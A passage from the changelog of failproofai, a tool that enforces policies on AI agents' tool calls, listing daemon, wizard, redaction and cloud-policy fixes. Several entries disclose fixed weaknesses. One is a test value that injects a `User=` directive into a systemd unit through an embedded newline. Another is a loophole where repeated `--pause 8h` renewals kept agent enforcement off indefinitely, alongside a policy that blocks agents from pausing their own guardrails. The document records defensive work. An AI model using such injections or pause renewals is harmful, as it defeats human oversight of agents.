deliver that upload: `failproofai config --email` / `--no-email`, `email-reports-cli.ts`, the `[email]` block in `config.toml`, the `[email] verified_for` record in `credentials.toml`, and the email section of the dashboard's /settings page. Nothing local could produce a report once the upload was gone, and an opt-in switch for a thing that cannot happen is worse than no switch. +- Remove `failproofai auth login` / `logout` / `whoami`. Sign-in has not gone anywhere — the local dashboard's re-audit **reminder** and **invite a friend** both still require it and both still work, through the dashboard's own sign-in dialog, which has always had its own `login-request` / `login-verify` routes and writes the same `auth.json`. What is removed is the second, redundant front door on the CLI. `lib/auth/` stays exactly as it is because the dashboard routes are built on it. The 15 `cli/auth` documentation pages and their navigation entries go with it, and every cross-reference in all 15 languages was rewritten rather than left pointing at a deleted page. +- Suggest the NEAREST subcommand for an unknown one, instead of the literal string "policies" for every input. That was only ever right when the typo happened to be a typo of that word, and removing `auth` made it concrete: `auth` was a real subcommand until this release, so an old script or plain muscle memory lands on this path and was answered with the one command that has nothing to do with what was typed. `failproofai auth` now points at `audit`, `confg` at `config`. The Levenshtein helper the flag guard already used is hoisted so both guards share it. + +### Fixes +- Stop the layout reset deleting hand-written policies, and stop it hiding that it did. `resettablePaths()` listed `at("policies")` — an unconditional recursive remove — and on layout 1 that directory IS the documented home for personal convention policies (`docs/configuration.mdx`: "User | `~/.failproofai/policies/`"). Those are source files a person wrote: nothing regenerated them, nothing backed them up, and the printed message named only "policy config, activity history and audit cache". Three things compounded it into a silent enforcement gap. It fired from `failproofai policies --help`, because the help block skips subcommands and the layout check did not exempt help the way the adjacent first-run gate always has. Afterwards the machine still reported itself configured — `isConfigured()` is a union that also counts the agent CLIs' settings files, which the reset deliberately leaves alone — so the wizard was skipped and `markLauncherSeen()` back-filled the marker so every later run skipped it too, leaving hooks firing on every tool call against an empty policy set with nothing ever saying so. The reset now enumerates the machine-owned children (`local-policies`, `cloud-policies`, and layout 1's `cloud-managed`), MOVES top-level policy sources into `policies/custom-policies/` where layout 2's loader actually reads them, names each file it moved, exempts `--help`/`--version`, and reports `didReset` so the caller forces setup. (#PR) +- Add the cross-language layout guard that `fp-home.ts` and `paths.rs` had both been citing for versions. `fp-home.ts` named a test containing no reference to `crates/`; `paths.rs` named `crates/failproofaid/tests/layout.rs`, which was never created. While both claimed coverage, three mirrored paths were wrong in production at once. `paths::tests::every_mirrored_path_agrees_with_fp_home_ts` imports the TypeScript module in a child process and compares all ten, rather than restating their values in Rust — which is exactly why the existing hand-written assertions stayed green through all three bugs. (#PR) +- Give an installed-but-broken daemon a route back. `ExecStart` bakes in `process.execPath`, so an `nvm uninstall 20` months after setup leaves a unit systemd still calls active whose worker dies on every spawn — and `daemonConfigured` then denies every tool call across all twelve CLIs, `UserPromptSubmit` included, so the user cannot even ask their agent why. Every existing check passed that machine: `waitForDaemonRunning()` asks the service manager, `Ping` is answered without touching the worker, and the wizard's "already installed and running — leaving it alone" branch skipped the documented repair. Adds `probeDaemonEndToEnd()` (a real `SessionStart` hook, 5s budget) and runs it before `daemonConfigured` is ever set — in the wizard rather than inside `installDaemonService`, which can only honestly report on the service, and whose install mechanics are testable against a stub binary precisely because the two are kept apart. Extends `healDaemonFlag` from not-installed to running-but-broken, and gives `uninstallDaemonService` its first production caller — the wizard tears a wedged unit down before reinstalling, since it holds the singleton flock the replacement needs. Also adds the first `forceDecision` test: the fail-closed path, the most consequential branch in the product, had none. (#PR) +- Stop a policy file with a never-resolving top-level `await` wedging the daemon permanently. `worker-server.ts`'s `.catch()` covers a queued task that REJECTS and does nothing for one that never SETTLES, which a bare `await import()` of such a module produces — so every subsequent hook on the machine queued behind it forever and fail-closed denied, across every CLI, until someone restarted the daemon. A class the warm worker creates: in the one-shot path the identical file hangs one hook process and the agent CLI's own timeout reaps it. The import is now bounded at 10s (matching the per-policy budget), with a 60s backstop on the queue that exits rather than continuing — the orphaned task still holds the `globalThis` registry the chain exists to serialize. (#PR) +- Anchor `block-self-pause` to command position. `SELF_PAUSE_RE` had none, so any command merely CONTAINING the string matched: `grep -rn "failproofai config --pause" docs/`, `git commit -m "docs: explain failproofai config --pause"`, `gh pr create --body`, `git log --grep`. The policy is `defaultEnabled`, and this repo's own CHANGELOG and `docs/built-in-policies.mdx` carry that literal string — so the first thing it did on a real machine was deny an agent reading the documentation for it. Its sibling `FAILPROOFAI_CLI_RE` was anchored from the start. Now matched structurally: segments split on shell operators (including command substitution), runners and their flags walked off, and the binary required where the shell will look for a command. All fourteen existing red-team spellings still deny. (#PR) +- Filter CLIs per scope in the wizard's apply loop. "Both" + "Everything available" built the CLI list as the union across scopes — correct, so a user-scope-only gateway is still installed via the user half — and then passed that union to EVERY scope. `installHooksImpl` validates each CLI against the scope up front and THROWS (`Scope "project" is not supported by Hermes`); it does not skip, despite the comment here that said it did. With no try/catch the run died mid-apply, after the daemon was installed, `daemonConfigured` was set and user-scope hooks were written, and before any project config or the pasted cloud key. The wizard's own tests mock `installHooks` wholesale, so the real validation path was never exercised. (#PR) +- Validate the cloud URL inside `connectToCloud`. `ConnectInput.url` was documented as "already validated by `validateCloudUrl`", and only one of the two callers did it: `--connect` validated, while the interactive wizard — the documented primary path — matched `/^https?:\/\//` and handed the raw string to `validateIngestKey` and then to `connectToCloud`. So the flow most people use put the machine's bearer token on the wire in clear against any `http://` host. The check now runs at the boundary that depends on it, so no path can skip it, and at the prompt as well so a typo fails before the key is even asked for. Loopback over http still works, which is what the local walkthrough needs. (#PR) +- Fix redaction leaking the tail of every non-ASCII secret. `match_bearer` and `match_assignment` returned `.chars().count()` where `scrub_str` uses the value as a BYTE offset (`i += len`). Both predicates accept non-ASCII — unlike `is_token_char` and the JWT matcher's `is_b64`, which are ASCII-only and where the two counts coincide — so one multi-byte character left the cursor inside the secret and the unconsumed tail was copied out verbatim. Eleven two-byte characters leak eleven bytes, which in a realistic value is the whole readable tail. Invisible to every existing test because every token in them was ASCII; the new test asserts exact equality, since a "does the tail survive" check passes while the bug is fully present. (#PR) +- Stop a corrupted cloud-managed manifest aborting hook evaluation. `readActiveCloudManagedPolicies()` has fourteen throw sites and sat bare inside `evaluateHookEvent`'s `try`, whose only handler is a `finally`. What that cost depended on where the hook ran, and neither outcome was intended: on a daemon machine the client fail-closed denies everything, and off it the throw reaches the CLI's outer catch, which exits 2 with nothing on stdout — a deny on Claude and Factory, but a logged warning followed by an ALLOW on Copilot, Cursor, Goose, Pi and Hermes, which read a decision off stdout and ignore the exit code. So one corrupt byte was either a permanent machine-wide lockout or silent non-enforcement, depending on the CLI. Now wrapped like its siblings: the cloud layer degrades alone and loudly, while builtins and local custom policies keep enforcing. (#PR) +- Bound a daemon connection by an actual deadline. `CONNECTION_IO_TIMEOUT` was handed to `set_read_timeout`, which is `SO_RCVTIMEO` and bounds ONE `read(2)`, while `read_message` reads through `read_exact` — so every byte that arrived reset the clock. A peer dribbling one byte every nine seconds satisfied it forever while pinning its handler thread, and 64 of those fill `MAX_INFLIGHT_CONNECTIONS`, after which the daemon refuses every real hook and a `daemonConfigured` machine fails closed on all of them. `server.rs`'s own comment asserted the opposite invariant. Replaced with a `Deadline` wrapper enforcing one wall-clock budget across every read and write. The worker stream also gained the write timeout it never had: `write_message` is a blocking `write_all`, so a worker whose single-threaded loop stalls stops draining its socket and blocks the writer once the kernel send buffer fills, with nothing to reclaim the thread. (#PR) +- Unlink the daemon socket path unconditionally. `Server::bind` used `Path::exists()`, which FOLLOWS symlinks — so a dangling symlink at the socket path reported false, was never cleaned, and `UnixListener::bind` failed `EADDRINUSE`. With `Restart=on-failure` that is a crash loop, and a crash-looping daemon on a `daemonConfigured` machine denies every tool call. One `ln -s` away. (#PR) +- Reset the whole cursor when a tailed file is truncated, and detect inode reuse. The truncation branch reset `offset` and `state` and kept everything else, so for a `ValidatePrefix` format `rebase_on_first_line` applied a delta computed against the OLD first line to the freshly-zeroed offset and skipped bytes — and `agent_start_emitted` staying true meant the replacement content never announced a session, which the server selects on, so it was spooled and then absent from the product entirely. It now re-derives the cursor from the file as it is. Separately, the inode-reuse guard only fired when the recorded path still EXISTED and still held that inode, and in a real reuse the old file was unlinked — which is how its inode came to be free — so it never fired for the case it was named after. Cursors now carry a fingerprint of the file's first bytes, checked only when a resumed cursor's path has changed, so rotation still resumes and reuse does not. (#PR) +- Stop the collector fsyncing an unchanged cursor map every two seconds per source. `save()` ran unconditionally at the end of every pass, serializing the whole map with `to_string_pretty`, `sync_all`ing and renaming — and the map grows monotonically, because `retain_existing` only drops cursors for DELETED files and agent transcripts are never deleted. Now gated on a dirty flag, cleared only after a successful rename so a failed write retries rather than being silently dropped. (#PR) +- Let a file tailer report an error. `poll_once` warned per file and returned `Ok(0)` even when every file failed, and `record_poll` then unconditionally cleared `last_error` — so a source whose root is unreadable was indistinguishable from an idle one, which is the exact distinction per-source health exists to draw. Relatedly, every Hermes profile reported under the bare key `"hermes"` despite each already having its own cursor directory for the same reason, so two profiles with one database missing made `collector-health.json` alternate `root_present` true/false every five seconds. (#PR) +- Fold the attribution into the aggregate `hook_id`. `BucketKey` deliberately includes `Attribution` so a minute mixing policy sources emits one aggregate per source, but `to_event` built the id from `session:minute:event:tool:agg` alone — so two buckets the key had just split apart carried byte-identical ids, and per that file's own header the server dedups on `hook_id`. The split was therefore undone downstream in exactly the two cases it was built for: the minute a pause starts, and the minute a cloud generation flips during a rollout, which is the measurement `cloud_generation` exists to enable. `tests/hooks_source.rs` constructed that precise collision and never compared the two ids. (#PR) +- Make the 8h pause ceiling an actual ceiling. It was measured from `pausedAt`, which every renewal reset to now, so `--pause 8h` re-issued every seven hours suspended enforcement indefinitely — one individually-legal command at a time, with every check passing. Pauses now carry `firstPausedAt`, and the expiry is clamped against it at WRITE and at READ, so a hand-edited state file in the owner-writable state directory cannot buy an unbounded pause either. A lapsed pause starts a fresh ceiling: the bound is on one unbroken stretch of suspended enforcement, not a daily quota. `maxPauseMs` is removed rather than wired up — the merge in `hooks-config.ts` never emitted it, so the lookup could only ever read `undefined`, and its two tests `vi.mock`ed that function to return a field the real one cannot produce. (#PR) +- Make `--disconnect` disconnect. It cleared the credential, which stops POLLING — every artifact already on disk stayed referenced by `active.json` and kept being loaded and enforced on every tool call, so a machine that had deliberately left its organisation went on being governed by whatever generation was current when it left, indefinitely, while `--status` reported it as unconnected. It also printed "Hook activity and transcripts stop being sent", which was not true of the running daemon: the collector manager starts once for the daemon's lifetime and the uploader caches its bearer key at construction, so nothing already running notices the file disappear. The manifest is now cleared, and the message names the restart instead of asserting something false. (#PR) +- Refuse to compose a service definition from a value carrying a quote, backslash or newline. `systemdUnitContents` interpolated `workerCmd`/`cliCmd`/`binaryPath`/`homedir()`/`User=` into a unit installed root-owned at `/etc/systemd/system` and loaded at every boot, with no escaping for systemd's grammar — and a newline ENDS a directive. This repo's own refresh test demonstrates the mechanism by setting `FAILPROOFAI_CLI_CMD` to `/usr/bin/true"\nUser=failproofai-no-such-user` and relying on systemd HONOURING the injected `User=`; it passes only because that user does not exist, where `User=root` or an added `ExecStartPre=` would have succeeded silently and undone the "root-installed but never root-run" invariant. These values are resolved paths and commands, so this rejects rather than inventing an escaping scheme, and the refusal happens before anything is written or stopped. (#PR) +- Stop leaking a generated policy module per killed hook, and stop reporting them back to the user. The temporary tree is written beside the user's sources — the only place a rewritten relative import resolves — and its name now carries a pid and sequence number, so unlike the old fixed name each abnormal termination leaks a file permanently instead of leaving one the next load overwrites. `findSkippedPolicyFiles` then reported each leftover as a policy file that would not load, which is an accusation about a file failproofai wrote itself. Generated files are now excluded from that scan and swept on load, age-gated so a sweep can never remove a tree another process is still importing. `policyModuleCache` also gained the cap its sibling `gitBranchCache` states the rationale for and it never carried over. (#PR) +- Do not orphan the worker when SIGTERM races its cold start. `main.rs` pre-warms on a detached thread holding its own `Arc` whose `JoinHandle` was discarded, so a signal arriving while that thread was still inside `ensure_started()` — hundreds of milliseconds, against an accept loop that returns in tens — left the refcount above zero when `run()` dropped its reference. `Worker::drop` never fired, the worker's process group was never killed, and the daemon exited leaving it running. Adds an explicit `Worker::shutdown()` whose flag is checked under the same lock `ensure_started` takes, so a warm-up that had not yet spawned refuses instead of installing a worker after the kill. (#PR) +- Repair cloud-managed policies from a valid `active.json` even when `desired-state.json` is corrupt. `repair_active_from_cache` propagated any parse error straight out, short-circuiting before the branch that rebuilds a tampered generation copy from the content-addressed artifact — so one bad byte in a file that branch does not need permanently disabled self-healing, and per `CLOUD_POLICIES.md` the only thing that rewrites it is a successful cloud poll, which never happens on an unenrolled or unreachable machine. `reconcile()` already tolerated exactly this for `active.json`; the two are now symmetric. (#PR) +- Wire `[collector] redact` to the sources it configures. It parsed correctly and reached nothing: no source carried the field, so `SpoolWriter::with_redact` had exactly two references — its own definition and its own unit test — and every real writer kept the hardcoded `Redact::Minimal`. Setting `redact = "off"` had no observable effect anywhere, which is worse than not offering the setting. (#PR) +- Sweep the layout-1 paths that survived the reorganisation. `install-check.ts` read layout 1's `policies-config.json`, so `checkHooks()` reported every layout-2 machine as unconfigured with zero policies and `package_installed` telemetry has recorded that for every install since; `manager.ts` printed that path in all three render states, so a user who hand-edited it to enable a policy got silence; and the wizard's convention scan read the layout-1 global directory while the loader reads `customPoliciesDir()`. `last-version` moved under `state/`, which also fixes the banner every fresh install saw — the CLI wrote that file and then read it back as one of `detectLayout()`'s layout-1 landmarks, so a brand-new home classified as stale and opened with "Removed 1 item(s) from the old layout". The install report now runs after the layout check for the same reason. (#PR) +- Report the wizard's real outcome. `cli_configure_invoked` sent `result.scope`, a field the wizard rework replaced with `target`/`scopes`, so it has been null on every run since — `.mjs` is outside the tsconfig include, so `tsc --noEmit` could not catch it. The same call site discarded `result.abort`, so `failproofai config` exited 0 even when the machine was left unconfigured because the required daemon could not be installed, which a fleet script cannot distinguish from a user pressing Esc. (#PR) +- Bump the Cargo workspace version alongside `package.json` when a release opens the next development cycle, and serialize `publish.yml`. CI compares the two versions and the bump commit carries `[skip ci]`, so a bump that moved only `package.json` left `main` red and the failure surfaced on the next unrelated PR as `Version mismatch: Cargo.toml has …`. Every release did this. `publish.yml` also had no `concurrency` group despite two entry points that can fire for the same version — both would pass the "already published" preflight before either published, and the bump step's unguarded `git push origin main` simply loses for one of them. Not `cancel-in-progress`: the release assets attach before the npm publish, so a run killed between them leaves a tag whose binaries exist and whose package does not. (#PR) +- Scan `Cargo.lock` for known-vulnerable dependencies. Its 238 packages were covered by nothing — OSV-Scanner was only ever given `bun.lock`, and Dependabot had no `cargo` ecosystem — for a TLS stack that compiles into a root-installed system service. (#PR) + +## 1.0.0-beta.5 — 2026-08-05 + +### Fixes +- Write the ESM shim into the user's own state directory instead of beside the installed `dist/index.js`, so a non-root user can load cloud-managed and custom policies at all. The shim is what makes `import ... from 'failproofai'` resolve inside a policy file, and it was written into the package's own directory — which belongs to whoever installed it. On a **system-wide install** (`sudo npm i -g`, a container image, a shared build host, a CI runner) that directory is root-owned, so every hook run by a non-root user failed with `EACCES`, the policy never loaded, and **the hook exited 0 — the tool call was allowed**. Builtin policies need no file loading and kept firing, so the machine looked protected: denies appeared, the dashboard showed activity, `--status` reported connected and pulling, while the organisation's centrally-managed policy did nothing. The only signal was one line on stderr. Reproduced in a container and confirmed by toggling nothing but that directory's mode — `chmod 777` and the policy denies, `chmod 755` and the same call is allowed. A single-user machine never saw it because npm's global prefix there (`~/.nvm/versions/node/*/lib/node_modules`) is owned by the user running the hook. The state directory is normally created by us at 0700 and owned by that user, and — unlike a shared `/tmp` — no other local user can pre-plant a file at a path we are about to `import`. It is not assumed: `mkdir` with `recursive` resolves on a directory that already exists **whatever its mode**, so a `state/shims` left behind unwritable (a container that ran the CLI as root and then dropped to a non-root user) would otherwise sail past the guard and throw on the write, reproducing the very fail-open being fixed. The write therefore sits inside the same guard as the mkdir, the directory is `lstat`-checked to be a real, private, self-owned one (a plain write follows a planted symlink straight out of the home), the shim is written 0600 rather than inheriting `0666 & ~umask`, and any failure degrades to `os.tmpdir()` **loudly** — a silent slide into the weaker path is this bug's own shape. There the name is predictable, so the write is `O_EXCL`, and the per-load suffix now carries a random id so a leftover file cannot fail a legitimate load. **This does not close the whole class:** rewritten policy copies are still written beside their source, so a read-only policy directory (a root-owned org policy pack, a `:ro` mount) still fails the same way — untouched here, and worth fixing separately. The file name still carries the per-invocation suffix, because `fingerprintTemporaryTree` normalises exactly that substring away and a name it could not normalise would miss the policy module cache on every hook call. (#PR) +- Capture Pi's tool events and Hermes's working directory, both of which the audit adapters were discarding. Pi's parser handled only `text` and `thinking` content blocks, so `toolCall` blocks fell through to the generic "system" branch and the separate `role: "toolResult"` records attached to nothing — Pi contributed zero tool events. The file's own header recorded this as "tool-call blocks are not yet observed", and kept an unused `formatTimestamp` import alive with a `void` for "once Pi emits it", so the gap was known but its premise was wrong rather than stale: verified against pi 0.73.1 and 0.83.0, an assistant turn carries `{type:"toolCall", id, name, arguments}` and each result arrives as its own record with a third role (`toolCallId`, `toolName`, `content[]`, `isError`). Results now pair to their call by id rather than position — Pi emits them in call order today, but pairing by order would break silently the first time it does not — and duration is derived from the call/result gap since Pi records none, matching the OpenClaw parser. Separately, the Hermes adapter returned nothing at all for `audit --project `, on the premise that gateway sessions have no working directory; verified against hermes-agent 0.19.0, `sessions` carries real `cwd`, `git_branch` and `git_repo_root` columns and every `source='cli'` session populates them, so a repo the user had driven Hermes in silently reported zero Hermes findings. Sessions with a cwd now filter and group by working directory like Claude/Goose/Devin, while genuinely cwd-less Slack/Telegram sessions keep their `(profile, source)` bucket and stay excluded from cwd filters. (#639) +- Clear systemd's start-limit before the daemon-service refresh restarts, or the rollback that is supposed to save the machine cannot. The unit ships `Restart=on-failure` with `RestartSec=2`, so a rewrite systemd accepts but cannot run (the poisoned `User=` the refresh test injects; in the field, a genuinely un-startable regenerated unit) does not fail once — it cycles, and within `DefaultStartLimitIntervalSec` trips `DefaultStartLimitBurst` and latches into "start request repeated too quickly". On systemd 255 — what ubuntu-24.04 and the CI runners ship — that latch is sticky at the unit level: the rollback restores a perfectly runnable definition, `systemctl restart` is refused anyway, and `ensureDaemonServiceCurrent` returns `daemonRunning:false` on a machine whose only safety net just failed — which on a `daemonConfigured` box is every tool call across all 12 CLIs denied. `restartSystemdUnit()` now runs `systemctl reset-failed` (best-effort; a no-op on a healthy unit) before every refresh/rollback restart, making the restart deterministic. The behaviour is load-dependent — an idle machine accumulates too few cycles to trip the limit before the 5s wait ends, which is why it surfaced only under CI's parallel-suite load — and was proven both ways against real systemd 255: original code returns `daemonRunning:false`, the fix returns `daemonRunning:true`. (#PR) +- Make the dashboard's audit run take the cross-process cache lock, closing a three-writer race the `/settings` "run now" button turned into an everyday path. A scheduled daemon child, `failproofai audit`, and `POST /api/audit/run` all write the same sha1-keyed per-transcript cache and single-slot dashboard cache, but the dashboard route guarded only against overlapping runs *within its own Next.js process* — invisible to the other two, so a dashboard scan could co-write the cache with a scheduled run the daemon started at the same moment, and each would clobber the other's entries. `/api/audit/run` now also acquires `src/audit/audit-lock.ts`; held ⇒ it backs the in-memory lock out and returns the same `409 already-running` the client already treats as "poll the in-flight run". `/api/audit/status` folds the cross-process lock (via a new side-effect-free `readActiveAuditLock`, which applies the same dead-pid/age staleness rules so a crashed run's leftover file never wedges status at "running") into `running`, so a client polling after that 409 — and the settings page on mount — sees the machine as busy and waits the external scan out instead of reading idle. `runPostSetupAudit`, the fourth writer, takes the lock too and skips when it is held. A scan already running is information, not an error. (#PR) +- A daemon lane that the OS refused to start took the whole daemon with it. `telemetry::spawn`, `audit_lane::spawn` and `spawn_collector_manager` each `.expect()`ed `Builder::spawn`, so a machine at its thread limit (`EAGAIN`) panicked `run()` — and a `failproofaid` that will not start denies every tool call across all twelve CLIs, which is the exact outcome each of those lanes is otherwise written to avoid. Every lane body already refused to propagate a fault; the one line that could not be caught by the lane was the spawn itself. All three now return `Option`, log loudly, and leave the daemon running without that feature. Losing the scheduled audit is a feature being off; losing the daemon is a machine being unusable. (#PR) +- Raise the per-transcript audit cache TTL from 7 days to 30. It was exactly `DEFAULT_AUDIT_INTERVAL_DAYS`, so a scheduled run at T+7d found every entry written by the previous run already expired and cold-scanned the entire history — ~104 seconds and megabytes of rewrites, on every run, for a lane whose whole purpose is to be cheap. The margin was one scan duration, so any suspend, missed tick or deferral tipped all of it at once. Correctness never rested on the TTL: `engineVersion` and `detectorVersion` already invalidate the cache when detection logic actually changes. A test now pins the RELATIONSHIP to the audit interval rather than just the constant, because the existing TTL test had silently stopped exercising the TTL — its 8-day fixture sat inside the new window and passed on an unrelated check. (#PR) +- Repair cloud-managed policy, which layout 2 had left **dead on arrival**, and close a fail-closed lockout beside it. Four defects in the daemon, each of which looked like a working system from whichever side you inspected. (1) `paths::run_dir()` read `$HOME` directly while the CLI's `fp-home.ts` derives the same path from `FAILPROOFAI_HOME` — so setting that variable put the daemon on one socket and the hook on another, and because a `daemonConfigured` machine fails closed, a **perfectly healthy daemon denied every tool call across all 11 CLIs**, reporting only the generic "failproofaid could not be reached". (2) `cloud_managed_policy_dir()` still wrote layout 1's `policies/cloud-managed`, while the CLI reads `policies/cloud-policies`: the daemon downloaded each generation, verified its hashes and wrote it to disk, and the hook path read an empty directory and enforced nothing. (3) The same function, and (4) `cloud_client::credentials_path()`, both bypassed `failproofai_home()` — and (4) additionally looked for the enrolment in `cloud.json`, which layout 2 replaced with `credentials.toml`'s `[cloud]` table, so `--connect` reported success, wrote a credential the daemon never opened, and the daemon logged "cloud-managed policy polling disabled" exactly as it would on a machine that had never enrolled. **No cloud policy could reach any machine.** The loader now reads the TOML, falls back to `cloud.json` only when the TOML is absent (a daemon upgraded before its CLI ran once to migrate), and never falls back at all when `FAILPROOFAI_CLOUD_CREDENTIALS` names a file — naming a file means "use this credential", and quietly substituting another would point the machine at a different org than the operator asked for. A file with no `[cloud]` table reads as not-enrolled rather than malformed, because an `events:add`-only machine has a valid `credentials.toml` and no policy credential by design. Regression-tested in `paths.rs`, `cloud_client.rs` and end to end against a live deployment by `__tests__/e2e/layout/cloud-pairing.sh`. + +### Features +- Add a `/settings` page to the dashboard with two sections — scheduled audit and email reports — plus the degraded states that are most of the real screens (daemon not installed / stopped / unavailable, no scan ever run, a scan running now, a last scheduled run that failed, signed out, and not cloud-enrolled, each stated plainly rather than hidden). The scheduled-audit section wires an enable toggle to `[audit] auto` with a plain statement that the scan reads the *contents* of every session transcript on disk, an interval control that lets `config.toml` own the 1..90 clamp and reflects what it stored, a last-run / next-due readout that is the first TypeScript reader of the daemon-written `state/audit-schedule.json` (tolerant of an absent, malformed, or schema-ahead file so a version-ahead daemon never blanks the page), and a "run now" that reuses the existing `/api/audit/run`. The email section reuses the OTP-verified identity — signed out leads into the existing login flow, never a second email field; not cloud-enrolled says plainly that email needs a connection and how to get one — and its toggle delegates to the same `runEmailReportsOn/OffCommand` the CLI uses so the rules live in one place. Telemetry is deliberately not surfaced. Every write goes through `updateConfig`; the `next-audit.json` reminder is kept separate with a distinct meaning (a cloud email nudge to a human, not a scan schedule), so "when does the next scan run" has exactly one answer: `audit-schedule.json`. (#PR) +- Check a machine key against the server **before** using it, and record which organisation it reports into. Until `/v1/auth/introspect` existed a machine could not describe its own credential — every other `/keys*` route needs a `keys:*` permission a machine credential must never hold — so a revoked key, a valid key missing one permission, and a valid key pasted from the **wrong organisation** all failed identically: later, at the point of use, as an empty dashboard or a machine that never receives policy. `--connect` now introspects first and gates the two capabilities independently on `events:add` and `policies:pull`, skipping the probe a key provably cannot pass; the resulting message names the missing permission *and* the org the key genuinely belongs to, where the 403 it replaces read like a server fault. Permissions are read from the server's **effective** set, which it widens at authentication time and enforces against — the dashboard and CLI both display the stored grant, so a local check built against the displayed list would be wrong in the permissive direction. A rejected key stops before probing anything further; a server with no introspect endpoint (404, a redirect into the web app, or a 200 that is not JSON) falls back to the probing every previous release did, since the CLI ships independently of whatever AgentEye a customer runs. The org is stored **once**, in its own `[org]` table rather than as a field on `[cloud]` and `[ingest]` both: it describes the token, the same token serves both capabilities, and an `events:add`-only key never writes `[cloud]` at all — the case a per-table field would silently have lost. `--status` answers "where does this machine's data go?" from that record with no network call, and the connect output names the org on the partial branches too, since a key from the wrong org authenticates perfectly and reports somewhere nobody is looking. +- Point ingest at the versioned `/v1/events` route, in both the TypeScript and Rust defaults, and accept either form when someone pastes an ingest URL where a base URL is expected. + +### Features +- Stop the CLI and the daemon silently drifting apart across an upgrade. `npm update` moves the CLI; the daemon only moves when `failproofai config` runs, and nothing connected those two moments — so a machine could run a new CLI against an old daemon indefinitely with nothing recording it. **The most serious consequence was a trap rather than a bug:** both sides hardcode `PROTOCOL_VERSION`, and the client collapsed every daemon failure into one answer, so the first time that version is ever bumped an upgraded CLI would read the mismatch as "unreachable" and deny every tool call — `UserPromptSubmit` included, on every machine in a fleet at once, triggered by a routine update. The two failures are now distinguished: a **protocol mismatch** means a daemon answered and is demonstrably alive, so it falls back to in-process evaluation with a warning (identical policies, just slower — denying there takes a working machine offline to protect nothing), while an **unreachable** socket keeps failing closed, because a stopped service, a deleted socket and tampering are indistinguishable from the client. Around that: the installed daemon version is now recorded in `VERSION` (and `installed_version` is **removed** from `config.toml`, since two copies can disagree and one cannot); `failproofai config` reinstalls when the daemon is running but *stale* rather than skipping on "running" alone, which had quietly made "just re-run config" a no-op during the exact upgrade it was meant to fix; `--status` reports `CLI x · daemon y · layout z` and other commands hint once, while **hooks stay silent** because a stale daemon still enforces every policy correctly; and old binaries are pruned to current-plus-previous after the unit is repointed, keeping one back so a rollback is a local file rather than a download on a machine that may be offline. The staleness check is purely local — the expected version is the CLI's own, compiled in — and deliberately skips explicit `FAILPROOFAI_DAEMON_BINARY` overrides and locally-built binaries, which are the contributor setup this repo documents. (#653) +- Send session transcripts by **default** when a machine connects to Failproof Cloud, replacing the `--send-transcripts` opt-in with a `--no-transcripts` opt-out. Transcripts are what makes a dashboard worth connecting to, and hiding them behind a flag most people never find reproduced the empty-dashboard problem in a different costume — someone connects, sees only decisions, and concludes the product is broken. The trade is that a default carrying prompts, file contents and command output has to be **disclosed where it takes effect**, not left in `--help`: `--connect` now prints what it is sending on *both* branches, so an opt-out is confirmable without reading a config file, and the setup wizard states it in the body of the connect question rather than an option hint. The internal `connectToCloud` still requires `sessions` explicitly and treats `undefined` as off — the product default belongs to the callers, and a library that silently opts a caller into shipping file contents is the wrong default at that layer whatever sits above it. (#653) +- Reorganise `~/.failproofai` into a layout with one owner. Every path was a hardcoded `resolve(homedir(), ".failproofai", …)` call — about forty in TypeScript and ten more in Rust — and the two sides had drifted into different ideas of where things lived, so moving anything meant finding every one of them and missing one meant the daemon wrote where the dashboard never read. Silently, because an absent directory is indistinguishable from an idle one. `fp-home.ts` is now the only place a path may be joined onto the home, `paths.rs` mirrors it, and a `VERSION` file records which layout wrote the directory. **`hook-activity` leaves `cache/`** (nothing regenerates it, so it was never a cache), policies split into `local-policies` / `cloud-policies` / `custom-policies`, audit consolidates under `audit/`, and daemon scratch moves under `state/` — except `run/`, which stays shallow because a Unix socket path must fit in `sockaddr_un.sun_path` and that ceiling was hit twice during development. **Project scope is deliberately untouched:** `/.failproofai/` keeps its shape, because those files are committed to users’ git repos. **Credentials consolidate into `credentials.toml` (0600) and configuration into `config.toml`**, and that split is the same security boundary `ingest.json` and `cloud.json` existed for — `config.toml` inherits the umask, so a token there would be readable by every local user. Both writers merge rather than replace, because disconnecting policy must not silently revoke the ingest key. TOML covers only the three files a human edits; everything on the per-tool-call path stays JSON, since a parser there would tax the exact latency budget the daemon exists to protect. **A home from an older layout is reset, not migrated** — a half-moved home fails in the worst available way — but only ever by a real CLI command: a hook warns instead, on every call, because it runs unattended with an agent waiting and because a blanket deny takes `UserPromptSubmit` with it and locks the user out of their agent entirely. A home from a *newer* layout is refused rather than reset, since that data is fine and an upgrade would read it. **Cloud is gated on an explicit mode** rather than on whether a token happens to be present, and a corrupt config reads as `oss` so a damaged file can never switch reporting on. And **the fail-closed flag now self-heals**: removing the service while `daemonConfigured` stayed true denied every tool call on the machine with no CLI route back, so a provably-uninstalled service now clears the flag — keyed on `not-installed` and never on `stopped`, because a stopped unit is usually a restart in progress. (#653) +- Rework first-run setup so a new install can't end up half-configured, and so the first command a user types is the one that gets them set up. **Onboarding now fires on any command**, not only a bare `failproofai` — someone whose first instinct is `failproofai audit` was previously dropped straight into an audit on an unprotected machine. `--hook` is never intercepted (it runs once per tool call, with an agent waiting on stdout, so a prompt there would hang it), nor are `--version`/`--help`, nor `config`/`policies`/`policy`/`auth`, which are configuration actions in their own right and would break any script that calls them. Because onboarding can now fire from several terminals at once, it takes a **liveness-based lock** — recorded by PID, held only while that process is alive — so two terminals cannot both draw a wizard and race on the same settings files or both `systemctl enable` the one unit. A timestamp-and-timeout lock could not work here: the holder is a human answering questions, so any timeout short enough to recover from a crash is short enough to evict someone who walked away. **"Already set up" is now the union of three signals** (a global config, live user-scope hooks, or the legacy marker) rather than the marker alone — deleting one file used to re-run onboarding on a fully configured machine, and a checkout carrying committed project config still correctly reports the *machine* as unconfigured. **The daemon is required**: setup asks for sudo first, on a clean terminal before any TUI frame is drawn, and installs the service *before* writing any user config — so a machine that cannot install it is left exactly as it was found, with `daemonConfigured` never set against a service that isn't answering (that flag plus an unreachable daemon denies every tool call on the box). A platform with no service manager skips the requirement rather than being locked out of setup, and an already-running daemon skips both the install and the password prompt, while an installed-but-stopped one is repaired. **Scope is inferred from the working directory and then confirmed** — rows are built from what actually exists there, labelled Update vs Set up, likeliest target first, with `both` writing each scope in turn; run from a home directory there is no project to configure, so there is no question to ask. Home is compared by real path, because `$HOME` is very often a symlink while the shell reports the resolved cwd, and lexically the two never match — which made the wizard offer to "configure this project" pointing at `~`, whose `.failproofai/` is the *global* config. Finally, the AgentEye question is replaced by a **connect step that takes a 